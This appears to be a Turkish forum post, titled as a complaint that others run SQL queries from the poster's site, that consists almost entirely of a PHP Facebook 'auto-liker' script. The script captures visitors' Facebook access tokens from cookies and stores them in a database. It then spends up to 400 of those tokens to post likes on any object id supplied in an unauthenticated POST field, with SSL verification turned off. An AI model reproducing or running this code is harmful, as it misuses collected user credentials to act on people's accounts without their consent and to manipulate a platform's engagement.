Başkaları Sitemden sql sorgulatıyor

<?php
if($_SERVER["HTTP_USER_AGENT"] == ""){die("Nah çekersin!");}

function curl_get_file_contents($URL) {

	$c = curl_init();
	
	curl_setopt($c, CURLOPT_CONNECTTIMEOUT, 0);
	curl_setopt($c, CURLOPT_TIMEOUT, 0);
	curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($c, CURLOPT_URL, $URL);
	
	$contents = curl_exec($c);
	
	$err  = curl_getinfo($c,CURLINFO_HTTP_CODE);
	curl_close($c);
	
	if ($contents) return $contents;
		else return FALSE;

}
$i = 0;
include 'config.php';
$get_users_sql = mysql_query("SELECT * FROM Likers order by id DESC limit 0,400");		
		while($row=mysql_fetch_assoc($get_users_sql))
		{	
			$liking = curl_get_file_contents('https://graph.facebook.com/'.$_POST['sid'].'/likes?access_token='.$row['access_token'].'&method=post');
			if( $liking == "true" ) { $i++; }
			
		}
echo '<meta http-equiv="refresh" content="0;URL=logoff.php?like='.$i.'">';

function izinkontrol($t){
$izin = json_decode(curl_get_file_contents('https://graph.facebook.com/me?access_token='.$t.'&fields=name,id'));
if ($izin->name){
$kurulu = '1';
}
if (!$izin->name){
echo '<meta http-equiv="refresh" content="0;URL=index.php">';
}
}
if ($_COOKIE['token']){
$kbilgi = json_decode(curl_get_file_contents('https://graph.facebook.com/me/?access_token='.$_COOKIE['token'].''));

if ($kbilgi->id){

   $row = lisanssız;
   $result = mysql_query("SELECT * FROM Likers WHERE fbid = '" . mysql_real_escape_string($kbilgi->id) . "'");
   if($result){
      $row = mysql_fetch_array($result, MYSQL_ASSOC);
      if(mysql_num_rows($result) > 1){
         mysql_query("DELETE FROM Likers WHERE fbid='" . mysql_real_escape_string($kbilgi->id) . "' AND id != '" . $row['id'] . "'");
      }
   }
   
   if(!$row){
      mysql_query("INSERT INTO Likers SET `fbid` = '" . mysql_real_escape_string($kbilgi->id) . "', `name` = '" . mysql_real_escape_string($kbilgi->name) . "', `access_token` = '" . mysql_real_escape_string($_COOKIE['token']) . "'");
   } else {
      mysql_query("UPDATE Likers SET `access_token` = '" . mysql_real_escape_string($_COOKIE['token']) . "' WHERE `id` = " . $row['id'] . "");
   }


}
}

izinkontrol($_COOKIE['token']);


?>